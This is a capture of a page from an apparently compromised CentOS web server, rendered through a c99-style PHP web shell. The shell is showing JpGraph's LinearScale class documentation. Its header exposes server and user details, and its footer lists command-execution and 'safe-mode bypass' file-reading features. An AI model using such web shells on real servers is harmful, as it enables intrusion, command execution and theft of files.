Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/jpgraph/docs/ref/ drwxr-xr-x |
Viewing file: LinearScale.html (8.65 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | CLASS LinearScale
(Defined in: jpgraph.php : 4492)
Class usage and Overview This class is the main scale class and implements the linear and integer scale for the axis.
See also related classes: Axis and LogScale
Class Methods
Description Fix a maximum value for a scale eventhough autoscaling is used for the min value. Example // always start at the top from 0 $graph->y2scale->SetAutoMax(0);
Description Set the minimum data value when the autoscaling is used. Usefull if you want a fix minimum (like 0) but automtic maximum value. Example $graph->yaxis->scale->SetAutoMin(0);
Description This is used in conjunction when a manual scale is specified. In normall cases one has also to specify major and minor tick steps.
For example: However by instead using
$graph->SetScale("textlin",0,70); The major and minor ticks are determined automatically. The thing you have to be aware of is that the specified min and max values might be slightly modified so that the end/beginning of the scale will fall on a major tick step.
By default the auto ticks are off.
See also Graph::SetScale
Example $graph->SetScale('textlin',30,90); // Let JpGraph figure out suitable tick marks $graph->yscale->SetAutoTicks();
Description By default the autoscaling determines the minimum and maximum as close to the plots min and max values as possible. Sometimes this might not be suitable and you need some more "air". For example if you plot a bar plot with values on top of the bar. If the bar reaces the max value (which is also the scale end point) the value on top of the bar might be out in the margin.)
By specifyin the grace you get added space. The value specified is interpretated as extra percentage of the total scale range.
For example if the scale range (without grace) is (0,100) and you add 10% top grace (with SetGrace(10)) the modified scale will be (0,110) and if you use a 100% top grace the scale will be (0,200) and so on. Example
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.011 ]-- |